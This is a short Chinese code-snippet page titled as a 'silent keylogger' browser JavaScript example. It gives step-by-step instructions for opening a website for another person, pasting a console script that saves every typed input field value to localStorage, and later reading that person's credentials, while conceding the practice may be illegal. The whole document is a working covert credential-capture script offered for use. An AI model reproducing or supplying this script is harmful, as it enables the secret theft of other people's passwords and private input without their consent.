📜  静音键盘记录浏览器 - Javascript 代码示例

📅  最后修改于: 2022-03-11 15:04:00.128000             🧑  作者: Mango

代码示例1
// Steps
// 1 - Open a site for someone
// 2 - Go to Console
// 3 - Paste the following code and execute by pressing enter
// 4 - Close the console and let the person enter their credentials
// 5 - After the person left. Got to Developer Tools > Application > LocalStorage
// 6 - Now you can read their inputs
// *NOTE*: This might be illegal. I don't know. Executing at one's own risk.

// Code
document.querySelectorAll('input').forEach(input => input.addEventListener('input', () => {
    localStorage.setItem(input.id, input.value);
}));